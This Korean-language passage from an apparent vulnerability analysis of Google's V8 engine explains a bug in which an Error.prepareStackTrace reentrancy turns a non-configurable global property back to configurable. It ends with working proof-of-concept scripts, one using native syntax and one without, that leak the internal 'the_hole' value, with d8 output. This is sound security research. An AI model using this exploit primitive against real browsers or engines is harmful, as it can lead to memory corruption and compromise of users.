DependencyGroupkPropertyCellChangedGroup임을 확인할 수 있습니다. 즉, PropertyCell이 변할 수 있는 경우(ReadOnly가 아닌 경우)에 설정되는 dependent code입니다. 이 과정을 코드에서 따라가 보면 다음과 같습니다.

/* v8/src/compiler/compilation-dependencies.cc */

bool CompilationDependencies::Commit(Handle<Code> code) {
  if (!PrepareInstall()) return false;

  {
    PendingDependencies pending_deps(zone_);
    DisallowCodeDependencyChange no_dependency_change;
    for (const CompilationDependency* dep : dependencies_) {
      // Check each dependency's validity again right before installing it,
      // because the first iteration above might have invalidated some
      // dependencies. For example, PrototypePropertyDependency::PrepareInstall
      // can call EnsureHasInitialMap, which can invalidate a
      // StableMapDependency on the prototype object's map.
      if (!dep->IsValid(broker_)) {
        if (v8_flags.trace_compilation_dependencies) {
          TraceInvalidCompilationDependency(broker_, dep);
        }
        dependencies_.clear();
        return false;
      }
      dep->Install(broker_, &pending_deps);
    }
    pending_deps.InstallAll(broker_->isolate(), code);
  }
...

CompilationDependencies::Commit()에서 dep->IsValid(broker_)true이면 dep->Install()을 호출하고,

/* v8/src/compiler/compilation-dependencies.cc */

  void Install(JSHeapBroker* broker, PendingDependencies* deps) const override {
    SLOW_DCHECK(IsValid(broker));
    deps->Register(cell_.object(), DependentCode::kPropertyCellChangedGroup);
  }

Install()에서 DependencyGroupkPropertyCellChangedGroup으로 설정합니다.

결론적으로, gvarconfigurablefalse로 설정하여 ReadOnly로 만들면 deoptimization이 진행되지 않습니다. 그런데 문제는 configurablefalse로 설정하고 나면 일반적인 방법으로는 gvar를 삭제할 수 없다는 것입니다.

Change configurable from false to true

Error.prepareStackTrace()가 정의된 상태에서 Object.defineProperty()stack을 수정하려고 할 때의 실행 흐름을 다음과 같이 파악할 수 있습니다.

/* test.js */

Error.captureStackTrace(globalThis);
Error.prepareStackTrace = () => {
    console.log(JSON.stringify(Object.getOwnPropertyDescriptor(globalThis, 'stack')));
}

Object.defineProperty(globalThis, 'stack', { value: 1, writable: false, enumerable: true, configurable: false });
console.log(JSON.stringify(Object.getOwnPropertyDescriptor(globalThis, 'stack')));
$ ~/v8/v8/out/debug/d8 test.js
{"value":"Error\n    at test.js:3:7","writable":true,"enumerable":false,"configurable":true}
{"value":1,"writable":false,"enumerable":true,"configurable":false}

Object.defineProperty()에서 먼저 stack에 접근하여 Error.prepareStackTrace()가 호출되고, 그 다음에 수정 작업을 처리하는 것을 확인할 수 있습니다.

이를 응용하면,

/* test.js */

Error.captureStackTrace(globalThis);
Error.prepareStackTrace = () => {
    Object.defineProperty(globalThis, 'stack', { configurable: false });
    console.log(JSON.stringify(Object.getOwnPropertyDescriptor(globalThis, 'stack')));
}

Object.defineProperty(globalThis, 'stack', { value: 1, configurable: true });
console.log(JSON.stringify(Object.getOwnPropertyDescriptor(globalThis, 'stack')));
$ ~/v8/v8/out/debug/d8 test.js
{"value":"Error\n    at test.js:3:7","writable":true,"enumerable":false,"configurable":false}
{"value":1,"writable":true,"enumerable":false,"configurable":true}

Property의 configurablefalse로 설정했다가 다시 true로 만들 수 있습니다. 이는 일반적으로는 불가능한 동작이며, 이 취약점에서 핵심적인 부분입니다.

Leak the_hole

위의 내용들을 종합하여 다음과 같은 PoC를 작성할 수 있습니다.

/* poc.js */

function load_stack() {
    let a = stack;
    return a;
}

Error.captureStackTrace(globalThis);
Error.prepareStackTrace = () => {
    delete stack;
    Object.defineProperty(globalThis, 'stack', { value: 1, writable: true }); // configurable: false
    stack = {}; // cell_type == kMutable

    % PrepareFunctionForOptimization(load_stack);
    load_stack();
    % OptimizeFunctionOnNextCall(load_stack);
    load_stack();
}

Object.defineProperty(globalThis, 'stack', { value: 1, configurable: true });
delete stack;
let hole = load_stack(); // the_hole

% DebugPrint(hole);

configurablefalse로 설정하기 전에 delete stack을 추가한 이유는, Error.captureStackTrace()에서 생성된 stackAccessorInfo이므로 JSNativeContextSpecialization::ReduceGlobalAccess()에서 처리하지 않기 때문입니다. stack을 삭제하면 Object.defineProperty()가 바로 다시 정의하는데, 이때 생성된 stack은 일반적인 JSGlobalObject의 property가 됩니다.

$ ~/v8/v8/out/debug/d8 poc.js --allow-natives-syntax
DebugPrint: 0x14d80000026d: [Oddball] in ReadOnlySpace: #hole
0x14d8000001a1: [Map] in ReadOnlySpace
 - type: ODDBALL_TYPE
 - instance size: 28
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x14d800000251 <undefined>
 - prototype_validity cell: 0
 - instance descriptors (own) #0: 0x14d800000295 <DescriptorArray[0]>
 - prototype: 0x14d800000235 <null>
 - constructor: 0x14d800000235 <null>
 - dependent code: 0x14d800000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>

Native syntax를 사용하지 않고 다음과 같이 작성할 수 있습니다.

/* poc.js */

function load_stack() {
    let a = stack;
    return a;
}

Error.captureStackTrace(globalThis);
Error.prepareStackTrace = () => {
    delete stack;
    Object.defineProperty(globalThis, 'stack', { value: 1, writable: true }); // configurable: false
    stack = {}; // cell_type == kMutable
    for (let i = 0; i < 0x10000; i++) { load_stack(); } // optimization
}

Object.defineProperty(globalThis, 'stack', { value: 1, configurable: true });
delete stack;
let hole = load_stack(); // the_hole

console.log(hole);
$ ~/v8/v8/out/debug/d8 poc.js
hole

References